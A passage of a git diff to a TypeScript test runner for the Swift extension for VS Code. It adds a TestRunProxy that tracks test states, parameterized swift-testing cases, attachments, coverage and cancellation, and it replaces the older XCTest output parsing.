SymbolRenderer, + TestSymbol, +} from "./TestParsers/SwiftTestingOutputParser"; +import { ITestRunState, TestIssueDiff } from "./TestParsers/TestRunState"; +import { + IXCTestOutputParser, + ParallelXCTestOutputParser, + XCTestOutputParser, +} from "./TestParsers/XCTestOutputParser"; +import { TestRunArguments } from "./TestRunArguments"; +import { reduceTestItemChildren } from "./TestUtils"; +import { TestXUnitParser } from "./TestXUnitParser"; + +// eslint-disable-next-line @typescript-eslint/no-require-imports +import stripAnsi = require("strip-ansi"); + +export enum TestLibrary { + xctest = "XCTest", + swiftTesting = "swift-testing", +} + +export interface TestRunState { + pending: vscode.TestItem[]; + failed: { + test: vscode.TestItem; + message: vscode.TestMessage | readonly vscode.TestMessage[]; + }[]; + passed: vscode.TestItem[]; + skipped: vscode.TestItem[]; + errored: vscode.TestItem[]; + enqueued: Set; + unknown: number; + output: string[]; +} + +export class TestRunProxy { + private testRun?: vscode.TestRun; + private addedTestItems: { testClass: TestClass; parentIndex: number }[] = []; + private runStarted: boolean = false; + private queuedOutput: string[] = []; + private _testItems: vscode.TestItem[]; + private iteration: number | undefined; + private attachments: { [key: string]: string[] } = {}; + private testItemFinder: TestItemFinder; + public coverage: TestCoverage; + public token: CompositeCancellationToken; + + public testRunCompleteEmitter = new vscode.EventEmitter(); + public onTestRunComplete: vscode.Event; + + // Allows for introspection on the state of TestItems after a test run. + public runState = TestRunProxy.initialTestRunState(); + + public static initialTestRunState(): TestRunState { + return { + pending: [], + failed: [], + passed: [], + skipped: [], + errored: [], + enqueued: new Set(), + unknown: 0, + output: [], + }; + } + + public get testItems(): vscode.TestItem[] { + return this._testItems; + } + + public get isCancellationRequested(): boolean { + return this.token.isCancellationRequested; + } + + constructor( + private testRunRequest: vscode.TestRunRequest, + private controller: vscode.TestController, + private args: TestRunArguments, + private folderContext: FolderContext, + private recordDuration: boolean, + testProfileCancellationToken: vscode.CancellationToken + ) { + this._testItems = args.testItems; + this.coverage = new TestCoverage(folderContext); + this.token = new CompositeCancellationToken(testProfileCancellationToken); + this.testItemFinder = + process.platform === "darwin" + ? new DarwinTestItemFinder(args.testItems) + : new NonDarwinTestItemFinder(args.testItems, this.folderContext); + this.onTestRunComplete = this.testRunCompleteEmitter.event; + } + + public testRunStarted = () => { + if (this.runStarted) { + return; + } + + this.resetTags(this.controller); + this.runStarted = true; + + // When a test run starts we need to do several things: + // - Create new TestItems for each paramterized test that was added + // and attach them to their parent TestItem. + // - Create a new test run from the TestRunArguments + newly created TestItems. + // - Mark all of these test items as enqueued on the test run. + + const addedTestItems = this.addedTestItems + .map(({ testClass, parentIndex }) => { + const parent = this.args.testItems[parentIndex]; + // clear out the children before we add the new ones. + parent.children.replace([]); + return { + testClass, + parent, + }; + }) + .map(({ testClass, parent }) => { + // strip the location off parameterized tests so only the parent TestItem + // has one. The parent collects all the issues so they're colated on the top + // level test item and users can cycle through them with the up/down arrows in the UI. + testClass.location = undefined; + + // Results should inherit any tags from the parent. + // Until we can rerun a swift-testing test with an individual argument, mark + // the argument test items as not runnable. This should be revisited when + // https://github.com/swiftlang/swift-testing/issues/671 is resolved. + testClass.tags = compactMap(parent.tags, t => + t.id === runnableTag.id ? null : new vscode.TestTag(t.id) + ).concat(new vscode.TestTag(TestRunProxy.Tags.PARAMETERIZED_TEST_RESULT)); + + const added = upsertTestItem(this.controller, testClass, parent); + + // If we just update leaf nodes the root test controller never realizes that + // items have updated. This may be a bug in VS Code. We can work around it by + // re-adding the existing items back up the chain to refresh all the nodes along the way. + let p = parent; + while (p?.parent) { + p.parent.children.add(p); + p = p.parent; + } + + return added; + }); + + this.testRun = this.controller.createTestRun(this.testRunRequest); + this.token.add(this.testRun.token); + + const existingTestItemCount = this.testItems.length; + this._testItems = [...this.testItems, ...addedTestItems]; + + if (this._testItems.length !== existingTestItemCount) { + // Recreate a test item finder with the added test items + this.testItemFinder = + process.platform === "darwin" + ? new DarwinTestItemFinder(this.testItems) + : new NonDarwinTestItemFinder(this.testItems, this.folderContext); + } + + // Forward any output captured before the testRun was created. + for (const outputLine of this.queuedOutput) { + this.performAppendOutput(this.testRun, outputLine); + } + this.queuedOutput = []; + + for (const test of this.testItems) { + this.enqueued(test); + } + }; + + public addParameterizedTestCase = (testClass: TestClass, parentIndex: number) => { + this.addedTestItems.push({ testClass, parentIndex }); + }; + + public addAttachment = (testIndex: number, attachment: string) => { + const attachments = this.attachments[testIndex] ?? []; + attachments.push(attachment); + this.attachments[testIndex] = attachments; + + const testItem = this.testItems[testIndex]; + if (testItem) { + testItem.tags = [ + ...testItem.tags, + new vscode.TestTag(TestRunProxy.Tags.HAS_ATTACHMENT), + ]; + } + }; + + public getTestIndex(id: string, filename?: string): number { + return this.testItemFinder.getIndex(id, filename); + } + + private enqueued(test: vscode.TestItem) { + this.testRun?.enqueued(test); + this.runState.enqueued.add(test); + } + + public unknownTestRan() { + this.runState.unknown++; + } + + public started(test: vscode.TestItem) { + this.clearEnqueuedTest(test); + this.runState.pending.push(test); + this.testRun?.started(test); + } + + private clearPendingTest(test: vscode.TestItem) { + this.runState.pending = this.runState.pending.filter(t => t !== test); + } + + private clearEnqueuedTest(test: vscode.TestItem) { + this.runState.enqueued.delete(test); + + if (!test.parent) { + return; + } + + const parentHasEnqueuedChildren = Array.from(test.parent.children).some(([_, child]) => + this.runState.enqueued.has(child) + ); + + if (!parentHasEnqueuedChildren) { + this.clearEnqueuedTest(test.parent); + } + } + + public skipped(test: vscode.TestItem) { + this.clearEnqueuedTest(test); + test.tags = [...test.tags, new vscode.TestTag(TestRunProxy.Tags.SKIPPED)]; + + this.runState.skipped.push(test); + this.clearPendingTest(test); + this.testRun?.skipped(test); + } + + public passed(test: vscode.TestItem, duration?: number) { + this.clearEnqueuedTest(test); + this.runState.passed.push(test); + this.clearPendingTest(test); + this.testRun?.passed(test, this.recordDuration ? duration : undefined); + } + + public failed( + test: vscode.TestItem, + message: vscode.TestMessage | readonly vscode.TestMessage[], + duration?: number + ) { + this.clearEnqueuedTest(test); + this.runState.failed.push({ test, message }); + this.clearPendingTest(test); + this.testRun?.failed(test, message, this.recordDuration ? duration : undefined); + } + + public errored( + test: vscode.TestItem, + message: vscode.TestMessage | readonly vscode.TestMessage[], + duration?: number + ) { + this.clearEnqueuedTest(test); + this.runState.errored.push(test); + this.clearPendingTest(test); + this.testRun?.errored(test, message, this.recordDuration ? duration : undefined); + } + + /** + * Skip any pending tests. + * Call this method when a test run is cancelled to mark the pending tests as skipped. + * Otherwise, pending tests will be marked as failing as we assume they crashed. + */ + public skipPendingTests() { + this.runState.pending.forEach(test => { + this.skipped(test); + }); + this.runState.pending = []; + } + + public async end() { + // If the test run never started (typically due to a build error) + // start it to flush any queued output, and then immediately end it. + if (!this.runStarted) { + this.testRunStarted(); + } + + // Any tests still in the pending state are considered failed. This + // can happen if a test causes a crash and aborts the test run. + this.runState.pending.forEach(test => { + this.failed(test, new vscode.TestMessage("Test did not complete.")); + }); + // If there are tests that never started, mark them as skipped. + // This can happen if there is a build error preventing tests from running. + this.runState.enqueued.forEach(test => { + // Omit adding the root test item as a skipped test to keep just the suites/tests + // in the test run output, just like a regular pass/fail test run. + if (test.parent) { + for (const output of this.queuedOutput) { + this.appendOutputToTest(output, test); + } + this.skipped(test); + } + }); + + this.queuedOutput = []; + + this.reportAttachments(); + this.testRun?.end(); + this.testRunCompleteEmitter.fire(); + this.token.dispose(); + } + + public setIteration(iteration: number) { + this.runState = TestRunProxy.initialTestRunState(); + this.iteration = iteration; + if (this.testRun) { + this.performAppendOutput(this.testRun, "\n\r"); + } + } + + public appendOutput(output: string) { + const tranformedOutput = this.prependIterationToOutput(output); + if (this.testRun) { + this.performAppendOutput(this.testRun, tranformedOutput); + } else { + this.queuedOutput.push(tranformedOutput); + } + } + + public appendOutputToTest(output: string, test: vscode.TestItem, location?: vscode.Location) { + const tranformedOutput = this.prependIterationToOutput(output); + if (this.testRun) { + this.performAppendOutput(this.testRun, tranformedOutput, location, test); + } else { + this.queuedOutput.push(tranformedOutput); + } + } + + private reportAttachments() { + const attachmentKeys = Object.keys(this.attachments); + if (attachmentKeys.length > 0) { + let attachment = ""; + const totalAttachments = attachmentKeys.reduce((acc, key) => { + const attachments = this.attachments[key]; + attachment = attachments.length ? attachments[0] : attachment; + return acc + attachments.length; + }, 0); + + if (attachment) { + attachment = path.dirname(attachment); + this.appendOutput( + `${SymbolRenderer.eventMessageSymbol(TestSymbol.attachment)} ${SymbolRenderer.ansiEscapeCodePrefix}90mRecorded ${totalAttachments} attachment${totalAttachments === 1 ? "" : "s"} to ${attachment}${SymbolRenderer.resetANSIEscapeCode}` + ); + } + } + } + + private performAppendOutput( + testRun: vscode.TestRun, + output: string, + location?: vscode.Location, + test?: vscode.TestItem + ) { + testRun.appendOutput(output, location, test); + this.runState.output.push(stripAnsi(output)); + } + + private prependIterationToOutput(output: string): string { + if (this.iteration === undefined) { + return output; + } + const itr = this.iteration + 1; + const lines = output.match(/[^\r\n]*[\r\n]*/g); + return lines?.map(line => (line ? `\x1b[34mRun ${itr}\x1b[0m ${line}` : "")).join("") ?? ""; + } + + public async computeCoverage() { + if (!this.testRun) { + return; + } + + // Compute final coverage numbers if any coverage info has been captured during the run. + await this.coverage.computeCoverage(this.testRun); + } + + static Tags = { + SKIPPED: "skipped", + HAS_ATTACHMENT: "hasAttachment", + PARAMETERIZED_TEST_RESULT: "parameterizedTestResult", + }; + + // Remove any tags that were added due to test results + private resetTags(controller: vscode.TestController) { + function removeTestRunTags(_acc: void, test: vscode.TestItem) { + const tags = Object.values(TestRunProxy.Tags); + test.tags = test.tags.filter(tag => !tags.includes(tag.id)); + } + reduceTestItemChildren(controller.items, removeTestRunTags, void 0); + } +} /** Class used to run tests */ export class TestRunner { - private testRun: vscode.TestRun; - private testItems: vscode.TestItem[]; - private currentTestItem?: vscode.TestItem; + public testRun: TestRunProxy; + private testArgs: TestRunArguments; + private xcTestOutputParser: IXCTestOutputParser; + private swiftTestOutputParser: SwiftTestingOutputParser; + private debugSessionTerminatedEmitter = new vscode.EventEmitter(); + public onDebugSessionTerminated: vscode.Event; + private static CANCELLATION_ERROR = "Test run cancelled."; /** * Constructor for TestRunner @@ -36,13 +461,64 @@ export class TestRunner { * @param controller Test controller */ constructor( + private testKind: TestKind, private request: vscode.TestRunRequest, private folderContext: FolderContext, - private controller: vscode.TestController + private controller: vscode.TestController, + token: vscode.CancellationToken ) { - this.testRun = this.controller.createTestRun(this.request); - this.testItems = this.createTestList(); - this.currentTestItem = undefined; + this.testArgs = new TestRunArguments( + this.ensureRequestIncludesTests(this.request), + isDebugging(testKind) + ); + this.testRun = new TestRunProxy( + request, + controller, + this.testArgs, + folderContext, + configuration.recordTestDuration, + token + ); + this.xcTestOutputParser = + testKind === TestKind.parallel + ? new ParallelXCTestOutputParser( + this.folderContext.toolchain.hasMultiLineParallelTestOutput + ) + : new XCTestOutputParser(); + this.swiftTestOutputParser = new SwiftTestingOutputParser( + this.testRun.testRunStarted, + this.testRun.addParameterizedTestCase, + this.testRun.addAttachment + ); + this.onDebugSessionTerminated = this.debugSessionTerminatedEmitter.event; + } + + /** + * When performing a "Run test multiple times" run set the iteration + * so it can be shown in the logs. + * @param iteration The iteration counter + */ + public setIteration(iteration: number) { + // The SwiftTestingOutputParser holds state and needs to be reset between iterations. + this.swiftTestOutputParser = new SwiftTestingOutputParser( + this.testRun.testRunStarted, + this.testRun.addParameterizedTestCase, + this.testRun.addAttachment + ); + this.testRun.setIteration(iteration); + } + + /** + * If the request has no test items to include in the run, + * default to using all the items in the `TestController`. + */ + private ensureRequestIncludesTests(request: vscode.TestRunRequest): vscode.TestRunRequest { + if ((request.include?.length ?? 0) > 0) { + return request; + } + const items: vscode.TestItem[] = []; + this.controller.items.forEach(item => items.push(item)); + return new vscode.TestRunRequest(items, request.exclude, request.profile); } get workspaceContext(): WorkspaceContext { @@ -54,55 +530,220 @@ export class TestRunner { * @param controller Test controller * @param folderContext Folder tests are running in */ - static setupProfiles(controller: vscode.TestController, folderContext: FolderContext) { - // Add non-debug profile - controller.createRunProfile( - "Run", - vscode.TestRunProfileKind.Run, - async (request, token) => { - const runner = new TestRunner(request, folderContext, controller); - await runner.runHandler(false, token); + static setupProfiles( + controller: vscode.TestController, + folderContext: FolderContext, + onCreateTestRun: vscode.EventEmitter + ): vscode.TestRunProfile[] { + return [ + // Add non-debug profiles + controller.createRunProfile( + TestKind.standard, + vscode.TestRunProfileKind.Run, + async (request, token) => { + await this.handleTestRunRequest( + TestKind.standard, + request, + folderContext, + controller, + token, + onCreateTestRun + ); + }, + true, + runnableTag + ), + controller.createRunProfile( + TestKind.parallel, + vscode.TestRunProfileKind.Run, + async (request, token) => { + await this.handleTestRunRequest( + TestKind.parallel, + request, + folderContext, + controller, + token, + onCreateTestRun + ); + }, + false, + runnableTag + ), + controller.createRunProfile( + TestKind.release, + vscode.TestRunProfileKind.Run, + async (request, token) => { + await this.handleTestRunRequest( + TestKind.release, + request, + folderContext, + controller, + token, + onCreateTestRun + ); + }, + false, + runnableTag + ), + // Add coverage profile + controller.createRunProfile( + TestKind.coverage, + vscode.TestRunProfileKind.Coverage, + async (request, token) => { + await this.handleTestRunRequest( + TestKind.coverage, + request, + folderContext, + controller, + token, + onCreateTestRun, + async runner => { + if (request.profile) { + request.profile.loadDetailedCoverage = async ( + _testRun, + fileCoverage + ) => { + return runner.testRun.coverage.loadDetailedCoverage( + fileCoverage.uri + ); + }; + } + await vscode.commands.executeCommand("testing.openCoverage"); + } + ); + }, + false, + runnableTag + ), + // Add debug profile + controller.createRunProfile( + TestKind.debug, + vscode.TestRunProfileKind.Debug, + async (request, token) => { + await this.handleTestRunRequest( + TestKind.debug, + request, + folderContext, + controller, + token, + onCreateTestRun + ); + }, + false, + runnableTag + ), + controller.createRunProfile( + TestKind.debugRelease, + vscode.TestRunProfileKind.Debug, + async (request, token) => { + await this.handleTestRunRequest( + TestKind.debugRelease, + request, + folderContext, + controller, + token, + onCreateTestRun + ); + }, + false, + runnableTag + ), + ]; + } + + /** + * Handle a test run request, checking if a test run is already in progress + * @param testKind The kind of test run + * @param request The test run request + * @param folderContext The folder context + * @param controller The test controller + * @param token The cancellation token + * @param onCreateTestRun Event emitter for test run creation + * @param postRunHandler Optional handler to run after the test run completes + */ + private static async handleTestRunRequest( + testKind: TestKind, + request: vscode.TestRunRequest, + folderContext: FolderContext, + controller: vscode.TestController, + token: vscode.CancellationToken, + onCreateTestRun: vscode.EventEmitter, + postRunHandler?: (runner: TestRunner) => Promise + ): Promise { + // If there's an active test run, prompt the user to cancel + if (folderContext.hasActiveTestRun()) { + const cancelOption = "Replace Running Test"; + const result = IS_RUNNING_UNDER_TEST + ? cancelOption + : await vscode.window.showInformationMessage( + "A test run is already in progress. Would you like to cancel and replace the active test run?", + { modal: true }, + cancelOption + ); + + if (result === cancelOption && !token.isCancellationRequested) { + // Cancel the active test run + folderContext.cancelTestRun(); + } else { + return; } + } + + const compositeToken = new CompositeCancellationToken(token); + + // Create a cancellation token source for this test run + const compositeTokenSource = new CompositeCancellationTokenSource(token); + + // Create and run the test runner + const runner = new TestRunner( + testKind, + request, + folderContext, + controller, + compositeTokenSource.token ); - // Add debug profile - controller.createRunProfile( - "Debug", - vscode.TestRunProfileKind.Debug, - async (request, token) => { - const runner = new TestRunner(request, folderContext, controller); - await runner.runHandler(true, token); - } + + // If the user terminates a debugging session for swift-testing + // we want to prevent XCTest from starting. + const terminationListener = runner.onDebugSessionTerminated(() => + compositeTokenSource.cancel() ); - } - /** Construct test item list from TestRequest */ - createTestList(): vscode.TestItem[] { - const queue: vscode.TestItem[] = []; + // If the user cancels the test run via the VS Code UI, skip the pending tests + // so they don't appear as failed. Any pending tests left over at the end of a run + // are assumed to have crashed. + const cancellationListener = compositeToken.onCancellationRequested(() => + runner.testRun.skipPendingTests() + ); - // Loop through all included tests, or all known tests, and add them to our queue - if (this.request.include) { - this.request.include.forEach(test => queue.push(test)); - } else { - this.controller.items.forEach(test => queue.push(test)); - } + // Register the test run with the manager + folderContext.registerTestRun(runner.testRun, compositeTokenSource); - // create test list - const list: vscode.TestItem[] = []; - while (queue.length > 0) { - const test = queue.pop()!; + // Fire the event to notify that a test run was created + onCreateTestRun.fire(runner.testRun); - // Skip tests the user asked to exclude - if (this.request.exclude?.includes(test)) { - continue; - } + // Run the tests + await runner.runHandler(); - if (test.children.size > 0) { - test.children.forEach(test => queue.push(test)); - continue; - } - list.push(test); + terminationListener.dispose(); + cancellationListener.dispose(); + + // Run the post-run handler if provided + if (postRunHandler) { + await postRunHandler(runner); } - return list; + } + + /** + * Extracts a list of unique test Targets from the list of test items. + */ + private testTargets(items: vscode.TestItem[]): string[] { + const targets = new Set(); + for (const item of items) { + const target = item.id.split(".")[0]; + targets.add(target); + } + return Array.from(targets); } /** @@ -111,405 +752,613 @@ export class TestRunner { * @param token Cancellation token * @returns When complete */ - async runHandler(shouldDebug: boolean, token: vscode.CancellationToken) { - try { - // run associated build task - const task = await getBuildAllTask(this.folderContext); - const exitCode = await this.folderContext.taskQueue.queueOperation( - { task: task }, - token - ); + async runHandler() { + if (this.testRun.token.isCancellationRequested) { + return; + } - // if build failed then exit - if (exitCode === undefined || exitCode !== 0) { - this.testRun.end(); - return; - } + const testTargets = this.testTargets(this.testArgs.testItems); + this.workspaceContext.testsStarted(this.folderContext, this.testKind, testTargets); + + const runState = new TestRunnerTestRunState(this.testRun); - this.setTestsEnqueued(); + const cancellationDisposable = this.testRun.token.onCancellationRequested(() => { + this.testRun.appendOutput("\r\nTest run cancelled."); + }); - if (shouldDebug) { - await this.debugSession(token); + try { + if (isDebugging(this.testKind)) { + await this.debugSession(runState); } else { - await this.runSession(token); + await this.runSession(runState); } } catch (error) { - // is error returned from child_process.exec call and command failed then - // skip reporting error - const execError = error as ExecError; - if ( - execError && - execError.error && - execError.error.message.startsWith("Command failed") - ) { - this.testRun.end(); - return; - } - // report error - if (this.currentTestItem) { - const message = new vscode.TestMessage(getErrorDescription(error)); - this.testRun.errored(this.currentTestItem, message); - } + this.workspaceContext.logger.error(`Error: ${getErrorDescription(error)}`); this.testRun.appendOutput(`\r\nError: ${getErrorDescription(error)}`); } - this.testRun.end(); + // Coverage must be computed before the testRun is ended as of VS Code 1.90.0 + if (this.testKind === TestKind.coverage) { + await this.testRun.computeCoverage(); + } + + cancellationDisposable.dispose(); + await this.testRun.end(); + + this.workspaceContext.testsFinished(this.folderContext, this.testKind, testTargets); } - /** - * Edit launch configuration to run tests - * @param debugging Do we need this configuration for debugging - * @param outputFile Debug output file - * @returns - */ - private createLaunchConfigurationForTesting( - debugging: boolean, - outputFile: string | null = null - ): vscode.DebugConfiguration | null { - const testList = this.testItems.map(item => item.id).join(","); - - if (process.platform === "darwin") { - // if debugging on macOS need to create a custom launch configuration so we can set the - // the system architecture - if (debugging && outputFile) { - const testBuildConfig = createDarwinTestConfiguration( + /** Run test session without attaching to a debugger */ + async runSession(runState: TestRunnerTestRunState): Promise { + // Run swift-testing first, then XCTest. + // swift-testing being parallel by default should help these run faster. + if (this.testArgs.hasSwiftTestingTests) { + const testRunTime = Date.now(); + const fifoPipePath = this.generateFifoPipePath(testRunTime); + + await TemporaryFolder.withNamedTemporaryFiles([fifoPipePath], async () => { + // macOS/Linux require us to create the named pipe before we use it. + // Windows just lets us communicate by specifying a pipe path without any ceremony. + if (process.platform !== "win32") { + await execFile("mkfifo", [fifoPipePath], undefined, this.folderContext); + } + // Create the swift-testing configuration JSON file, peparing any + // directories the configuration may require. + const attachmentFolder = await SwiftTestingConfigurationSetup.setupAttachmentFolder( this.folderContext, - `-XCTest ${testList}`, - outputFile + testRunTime ); - if (testBuildConfig === null) { - return null; - } - return testBuildConfig; - } else { - const testBuildConfig = createTestConfiguration(this.folderContext, true); - if (testBuildConfig === null) { - return null; + const swiftTestingArgs = SwiftTestingBuildAguments.build( + fifoPipePath, + attachmentFolder + ); + const testBuildConfig = await TestingConfigurationFactory.swiftTestingConfig( + this.folderContext, + swiftTestingArgs, + this.testKind, + this.testArgs.swiftTestArgs, + true + ); + + if (testBuildConfig === null || this.testRun.isCancellationRequested) { + return this.testRun.runState; } - testBuildConfig.args = ["-XCTest", testList, ...testBuildConfig.args]; - // send stdout to testOutputPath. Cannot send both stdout and stderr to same file as it - // doesn't come out in the correct order - testBuildConfig.stdio = [null, null, outputFile]; - return testBuildConfig; - } - } else { - const testBuildConfig = createTestConfiguration(this.folderContext, true); - if (testBuildConfig === null) { - return null; - } + const outputStream = this.testOutputWritable(TestLibrary.swiftTesting, runState); - testBuildConfig.args = [testList]; - // send stdout to testOutputPath. Cannot send both stdout and stderr to same file as it - // doesn't come out in the correct order - testBuildConfig.stdio = [null, outputFile, null]; - return testBuildConfig; - } - } + // Watch the pipe for JSONL output and parse the events into test explorer updates. + // The await simply waits for the watching to be configured. + await this.swiftTestOutputParser.watch(fifoPipePath, runState); - /** Run test session without attaching to a debugger */ - async runSession(token: vscode.CancellationToken) { - // create launch config for testing - const testBuildConfig = this.createLaunchConfigurationForTesting(false); - if (testBuildConfig === null) { - return; + await this.launchTests( + runState, + this.testKind === TestKind.parallel ? TestKind.standard : this.testKind, + outputStream, + testBuildConfig, + TestLibrary.swiftTesting + ); + + await SwiftTestingConfigurationSetup.cleanupAttachmentFolder( + this.folderContext, + testRunTime, + this.workspaceContext.logger + ); + }); } - // Use WriteStream to log results - const writeStream = new stream.Writable({ - write: (chunk, encoding, next) => { - const text = chunk.toString(); - this.testRun.appendOutput(text.replace(/\n/g, "\r\n")); - if (process.platform === "darwin") { - this.parseResultDarwin(text); - } else { - this.parseResultNonDarwin(text); - } - next(); - }, - }); + if (this.testArgs.hasXCTests) { + const testBuildConfig = await TestingConfigurationFactory.xcTestConfig( + this.folderContext, + this.testKind, + this.testArgs.xcTestArgs, + true + ); + + if (testBuildConfig === null || this.testRun.isCancellationRequested) { + return this.testRun.runState; + } - const stdout: stream.Writable = writeStream; - const stderr: stream.Writable = writeStream; + // XCTestRuns are started immediately + this.testRun.testRunStarted(); - if (token.isCancellationRequested) { - writeStream.end(); - return; + await this.launchTests( + runState, + this.testKind, + this.testOutputWritable(TestLibrary.xctest, runState), + testBuildConfig, + TestLibrary.xctest + ); } - this.testRun.appendOutput(`> Test run started at ${new Date().toLocaleString()} <\r\n\r\n`); - // show test results pane - vscode.commands.executeCommand("testing.showMostRecentOutput"); - await execFileStreamOutput( - testBuildConfig.program, - testBuildConfig.args, - stdout, - stderr, - token, - { - cwd: testBuildConfig.cwd, - env: { ...process.env, ...testBuildConfig.env }, - maxBuffer: 16 * 1024 * 1024, - }, - this.folderContext, - false - ); + return this.testRun.runState; } - /** Run test session inside debugger */ - async debugSession(token: vscode.CancellationToken) { - const testOutputPath = this.workspaceContext.tempFolder.filename("TestOutput", "txt"); - // create launch config for testing - const testBuildConfig = this.createLaunchConfigurationForTesting(true, testOutputPath); - if (testBuildConfig === null) { - return; + private async launchTests( + runState: TestRunnerTestRunState, + testKind: TestKind, + outputStream: stream.Writable, + testBuildConfig: vscode.DebugConfiguration, + testLibrary: TestLibrary + ) { + try { + switch (testKind) { + case TestKind.coverage: + await this.runCoverageSession(outputStream, testBuildConfig, testLibrary); + break; + case TestKind.parallel: + await this.runParallelSession(outputStream, testBuildConfig, runState); + break; + default: + await this.runStandardSession(outputStream, testBuildConfig, testKind); + break; + } + } catch (error) { + if (error === TestRunner.CANCELLATION_ERROR) { + this.testRun.appendOutput(`\r\n${error}`); + } else if (error !== 1) { + // Test failures result in error code 1 + this.testRun.appendOutput(`\r\nError: ${getErrorDescription(error)}`); + } else { + // swift-testing tests don't have their run started until the .swift-testing binary has + // sent all of its `test` events, which enumerate the parameterized test cases. This means that + // build output is witheld until the run starts. If there is a compile error, unless we call + // `testRunStarted()` to flush the buffer of test result output, the build error will be silently + // discarded. If the test run has already started this is a no-op so its safe to call it multiple times. + this.testRun.testRunStarted(); + + void this.swiftTestOutputParser.close(); + } + } finally { + outputStream.end(); } + } - // given we have already run a build task there is no need to have a pre launch task - // to build the tests - testBuildConfig.preLaunchTask = undefined; + /** Run tests outside of debugger */ + async runStandardSession( + outputStream: stream.Writable, + testBuildConfig: vscode.DebugConfiguration, + testKind: TestKind + ) { + return new Promise((resolve, reject) => { + const args = testBuildConfig.args ?? []; + let kindLabel: string; + switch (testKind) { + case TestKind.coverage: + kindLabel = " With Code Coverage"; + break; + case TestKind.parallel: + kindLabel = " In Parallel"; + break; + case TestKind.debug: + kindLabel = " For Debugging"; + break; + case TestKind.release: + kindLabel = " in Release Mode"; + break; + case TestKind.debugRelease: + kindLabel = " For Debugging in Release Mode"; + break; + case TestKind.standard: + kindLabel = ""; + } - // output test build configuration - if (configuration.diagnostics) { - const configJSON = JSON.stringify(testBuildConfig); - this.workspaceContext.outputChannel.logDiagnostic( - `Debug Config: ${configJSON}`, - this.folderContext.name + const task = createSwiftTask( + args, + `Building and Running Tests${kindLabel}`, + { + cwd: this.folderContext.folder, + scope: resolveScope(this.folderContext.workspaceFolder), + packageName: packageName(this.folderContext), + presentationOptions: { reveal: vscode.TaskRevealKind.Never }, + }, + this.folderContext.toolchain, + { ...process.env, ...testBuildConfig.env }, + { readOnlyTerminal: process.platform !== "win32" } ); - } - const subscriptions: vscode.Disposable[] = []; - // add cancelation - const startSession = vscode.debug.onDidStartDebugSession(session => { - this.workspaceContext.outputChannel.logDiagnostic( - "Start Test Debugging", - this.folderContext.name - ); - const cancellation = token.onCancellationRequested(() => { - this.workspaceContext.outputChannel.logDiagnostic( - "Test Debugging Cancelled", - this.folderContext.name - ); - vscode.debug.stopDebugging(session); + task.execution.onDidWrite(str => { + const replaced = str + .replace("[1/1] Planning build", "") // Work around SPM still emitting progress when doing --no-build. + .replace(/\[1\/1\] Write swift-version-.*/gm, "") + .replace( + /LLVM Profile Error: Failed to write file "default.profraw": Operation not permitted\r\n/gm, + "" + ); // Work around benign LLVM coverage warnings + outputStream.write(replaced); }); - subscriptions.push(cancellation); - }); - subscriptions.push(startSession); - return new Promise((resolve, reject) => { - vscode.debug.startDebugging(this.folderContext.workspaceFolder, testBuildConfig).then( - started => { - if (started) { - this.testRun.appendOutput( - `> Test run started at ${new Date().toLocaleString()} <\r\n\r\n` - ); - // show test results pane - vscode.commands.executeCommand("testing.showMostRecentOutput"); + // If the test run is iterrupted by a cancellation request from VS Code, ensure the task is terminated. + const cancellationDisposable = this.testRun.token.onCancellationRequested(() => { + task.execution.terminate("SIGINT"); + reject(TestRunner.CANCELLATION_ERROR); + }); - const terminateSession = vscode.debug.onDidTerminateDebugSession( - async () => { - this.workspaceContext.outputChannel.logDiagnostic( - "Stop Test Debugging", - this.folderContext.name - ); - try { - if (!token.isCancellationRequested) { - const debugOutput = await asyncfs.readFile(testOutputPath, { - encoding: "utf8", - }); - this.testRun.appendOutput( - debugOutput.replace(/\n/g, "\r\n") - ); - if (process.platform === "darwin") { - this.parseResultDarwin(debugOutput); - } else { - this.parseResultNonDarwin(debugOutput); - } - } - asyncfs.rm(testOutputPath); - } catch { - // ignore error - } - // dispose terminate debug handler - subscriptions.forEach(sub => sub.dispose()); - resolve(); - } - ); - subscriptions.push(terminateSession); - } else { - asyncfs.rm(testOutputPath); - subscriptions.forEach(sub => sub.dispose()); - reject(); - } - }, - reason => { - asyncfs.rm(testOutputPath); - subscriptions.forEach(sub => sub.dispose()); - reject(reason); + task.execution.onDidClose(code => { + cancellationDisposable.dispose(); + + // undefined or 0 are viewed as success + if (!code) { + resolve(); + } else { + reject(code); } + }); + + void this.folderContext.taskQueue.queueOperation( + new TaskOperation(task), + this.testRun.token ); }); } - /** - * Parse results from `swift test` and update tests accordingly for Darwin platforms - * @param output Output from `swift test` - */ - private parseResultDarwin(output: string) { - const lines = output.split("\n").map(item => item.trim()); - - for (const line of lines) { - // Regex "Test Case '-[ ]' started" - const startedMatch = /^Test Case '-\[(\S+)\s(.*)\]' started./.exec(line); - if (startedMatch) { - const testId = `${startedMatch[1]}/${startedMatch[2]}`; - const startedTestIndex = this.testItems.findIndex(item => item.id === testId); - if (startedTestIndex !== -1) { - this.testRun.started(this.testItems[startedTestIndex]); - this.currentTestItem = this.testItems[startedTestIndex]; - } - continue; - } - // Regex "Test Case '-[ ]' passed ( seconds)" - const passedMatch = /^Test Case '-\[(\S+)\s(.*)\]' passed \((\d.*) seconds\)/.exec( - line - ); - if (passedMatch) { - const testId = `${passedMatch[1]}/${passedMatch[2]}`; - const duration: number = +passedMatch[3]; - const passedTestIndex = this.testItems.findIndex(item => item.id === testId); - if (passedTestIndex !== -1) { - this.testRun.passed(this.testItems[passedTestIndex], duration * 1000); - this.testItems.splice(passedTestIndex, 1); - } - this.currentTestItem = undefined; - continue; - } - // Regex ":: error: -[ ] : " - const failedMatch = /^(.+):(\d+):\serror:\s-\[(\S+)\s(.*)\] : (.*)$/.exec(line); - if (failedMatch) { - const testId = `${failedMatch[3]}/${failedMatch[4]}`; - const failedTestIndex = this.testItems.findIndex(item => item.id === testId); - if (failedTestIndex !== -1) { - const message = new vscode.TestMessage(failedMatch[5]); - message.location = new vscode.Location( - vscode.Uri.file(failedMatch[1]), - new vscode.Position(parseInt(failedMatch[2]) - 1, 0) - ); - this.testRun.failed(this.testItems[failedTestIndex], message); - this.testItems.splice(failedTestIndex, 1); - } - this.currentTestItem = undefined; - continue; - } - // Regex ":: -[ ] : Test skipped" - const skippedMatch = /^(.+):(\d+):\s-\[(\S+)\s(.*)\] : Test skipped/.exec(line); - if (skippedMatch) { - const testId = `${skippedMatch[3]}/${skippedMatch[4]}`; - const skippedTestIndex = this.testItems.findIndex(item => item.id === testId); - if (skippedTestIndex !== -1) { - 